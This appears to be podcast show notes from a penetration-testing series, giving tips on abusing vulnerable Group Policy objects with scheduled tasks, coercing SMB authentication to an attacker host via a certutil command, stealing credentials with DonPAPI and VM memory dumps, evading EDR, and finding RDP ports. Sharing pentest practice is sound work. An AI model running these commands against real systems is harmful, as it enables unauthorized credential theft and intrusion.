Description
Today’s tale of pentest pwnage includes some fun stuff, including:
SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you’re ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I’m not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s). If you’re on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under. DonPAPI got an upgrade recently with a focus on evasion! When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you’ve got the vmss2core utility, which I couldn’t find anywhere except the Internet Archive. Then I really like to follow this article to pull passwords from VM memory dumps. Can’t RDP into a victim system that you’re PSRemote’d into? Maybe RDP is listening on an alternate port! Try Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | select-object portnumber` And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!
Hey friends, we’ve got a short but sweet tale of pentest pwnage for you today. Key lessons learned:
Definitely consider BallisKit for your EDR-evasion needs If you get local admin to a box, enumerate, enumerate, enumerate! There might be a delicious task or service set to run as a domain admin...
Published 11/22/24
Oooooo, giggidy! Today is (once again) my favorite tale of pentest pwnage. I learned about a feature of PowerUpSQL that helped me find a “hidden” SQL account, and that account ended up being the key to the entire pentest! I wonder how many hidden SQL accounts I’ve missed on past pentests….SIGH!...
Published 11/15/24